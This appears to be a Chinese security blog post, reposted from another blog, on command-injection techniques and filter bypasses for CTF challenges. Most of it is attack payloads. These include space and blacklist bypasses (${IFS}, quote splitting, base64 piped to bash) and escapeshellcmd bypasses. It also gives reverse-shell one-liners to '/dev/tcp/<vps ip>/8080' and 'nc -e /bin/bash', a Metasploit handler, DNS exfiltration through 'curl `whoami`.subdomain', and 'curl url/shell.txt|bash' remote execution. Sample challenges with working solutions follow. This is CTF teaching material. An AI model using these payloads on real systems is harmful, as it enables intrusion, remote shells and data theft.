命令执行及绕过

admin 2022年1月6日01:40:24安全博客 CTF专场评论14 views6098字阅读20分19秒阅读模式

详情可看如下两篇
浅谈CTF中命令执行与绕过的小技巧
命令执行的一些绕过技巧

linux下的命令

查看文件

1
2
3
4
5
6
7
8
9
10
11
12
13
cat     由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
od 指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来
sort 将文本文件内容加以排序
rev 命令将文件中的每行内容以字符为单位反序输出
strings 打印文件中可打印的字符
cut -f 1 filename 从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出

查找文件

1
2
3
4
find . -name "fla*" 
locate fla* locate 命令无需指定路径,直接搜索即可.而是在一个叫 mlocate.db 的数据库下搜索。这个数据库位于 /var/lib/mlocate/mlocate.db ,它包含了系统里所有文件的索引,并且会在每天早上的时候由 cron 工具自动更新一次,可以 sudo updadb 更新其数据库
which 命令主要用来查找可执行文件的位置
whereis 命令会在系统默认安装目录(一般是有root权限时默认安装的软件)查找二进制文件、源码、文档中包含给定查询关键词的文件。

寻找文件内容

1
grep -ar fla* /    -a不忽略二进制文件

文件传输

1
2
3
4
5
6
7
curl 

利用curl下载文件。
#使用内置option:-o(小写)
# curl -o dodo1.jpg http:www.linux.com/dodo1.JPG
#使用内置option:-O(大写)
# curl -O http://www.linux.com/dodo1.JPG

列目录

1
ls dir

命令分隔符

  1. %0a符号 换行符
  2. %0d符号 回车符
  3. ;符号 在 shell 中,担任”连续指令”功能的符号就是”分号”
  4. &符号 & 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息
  5. |符号 管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
  6. && 表示前一条命令执行成功时,才执行后一条命令
  7. || 表示上一条命令执行失败后,才执行下一条命令
  8. 命令终止符 %00%20#

查找未被过滤字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$cmd='0a|09|ls|rm|sleep|sh|base|bash|grep|nc|ping|curl|cat|tac|od|more|less|dir|cut|nl|vi|unique|head|tail|sort|rev|string|find|$|(|)|[|]|{|}|>|<|?|\'|"|*|;|\||&|/|^|+|\\\\';
$filter='| |_|php|;|~|\\^|\\+|eval|cat|tac|rev|nl|head|tail|sort|{|}';#替换此文件
function check($filter,$input){
#print($input);
if(!stripos($filter,$input)){
// if(preg_match("/'| |_|=|php/",$input)){

echo $input;
echo "\n";
}
}
$cmds=explode('|', $cmd);
foreach ($cmds as $value) {

check($filter,$value);

}

绕过escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于

法一:win下执行bat

1
2
3
4
5
6
7
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
payload:

1
dir=../ %1a whoami

法二:宽字节注入

php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

1
escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

1
echo 繺;id

从而实现 id 命令的注入。

空格过滤

法一: ${IFS}

$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

payload1:

1
2
3
4
[email protected]:~$ cat flag
nice day
[email protected]:~$ cat${IFS}flag
nice day

payload2:

1
2
[email protected]:~$ cat${IFS}$9flag
nice day

payload3:

1
2
[email protected]:~$ cat$IFS$9flag
nice day

法二: 重定向符<>

payload1:

1
2
[email protected]:~$ cat<>flag
nice day

payload2:

1
2
[email protected]:~$ cat<flag
nice day

黑名单绕过

法一: 拼接

1
2
[email protected]:~$ a=c;b=at;c=flag;$a$b $c
nice day

法二: 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

法三: base64编码

payload1:

1
2
[email protected]:~$ `echo "Y2F0IGZsYWc="|base64 -d`
nice day

payload2:

1
2
[email protected]:~$ echo "Y2F0IGZsYWc="|base64 -d|bash
nice day

法四: 单引号、双引号

payload1:

1
2
[email protected]:~$ c""at flag
nice day

payload2:

1
2
[email protected]:~$ c""at fl""ag
nice day

payload3:

1
2
[email protected]:~$ c""at fl''ag
nice day

法五:反斜线 \

payload:

1
2
[email protected]:~$ c\at fl\ag
nice day

无回显

第一种是利用bash命令并在本地进行nc监听结果查看回连日志
先在vps处用nc进行监听

1
nc -l -p 8080 -vvv

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

第二种是msf反向回连

同样vps用msf监听

vps的msf监听:

1
2
3
4
5
6
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

第三种是利用DNS管道解析

1
|curl `whoami`.xxxx.xxx(子域名)

`反引号在linux下是执行命令的特殊符号

0x05 长度限制

1
2
3
4
5
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

长度限制

文件构造

1
2
3
4
5
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

payload:

1
2
3
4
5
6
7
8
9
1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

将会创建一个名字为wget的空文件。payload1会报错,payload2不会报错。.
这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

1
ls -t>a

LINUX下一些已有字符

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

工具

例题

GCTF RCE

这题过滤了很多东西,下面说一下比较重要的

1
||&|;|%{}| |''|.|

这里给个payload

1
2
3
%0acat%09
%0Acat$IFS$9
%0acat<

[BJDCTF 2nd]duangShell

vim编辑一个文件产生的临时文件,处理不当有可能造成泄露。其泄露方式为
文件名.swp 有些时候文件名前会有一个点.。然后获得这个.swp文件后,在Linux里通过命令 vim -r xxx.swp 来让临时文件恢复正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
}
else
{ $girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl))
die('just girl');
else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl))
{
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
}
else { exec($girl); //duangShell~~~~
}
}
?>

本题的RCE绕过
poc1:通过 curl url获得某个网址的某个文件的内容,再通过管道符转移给bash处理,如:
curl url/shell.txt|bash shell.txt里是要执行的命令,本题建议在shell.txt里放反弹shell指令
poc2:
监听命令
攻击机

1
nc -lvvp port

靶机上执行

1
nc vpsip port -e /bin/bash

用find / -name flag 寻找flag

某题

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
$filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is';
$cmd = $_POST['cmd'];
if(!preg_match($filter, $cmd)){
system($cmd."echo 'hi~'");
}else{
die("???");
}
?>

没过滤dir和cut

1
cmd=dir%09.%09

cut

1
cmd=cut%09-f%091%09CvvD_F14g_1s_h4rehaha.php%09

安网杯某题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|cat|tac|rev|nl|head|tail|sort|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sb/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

payload

1
/?action=upload&data=<?=`more\$IFS\$9../../../../../../fl*\$IFS\$9/1`?>

参考文章:
浅谈CTF中命令执行与绕过的小技巧
命令执行的一些绕过技巧

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:40:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  命令执行及绕过 http://cn-sec.com/archives/722164.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: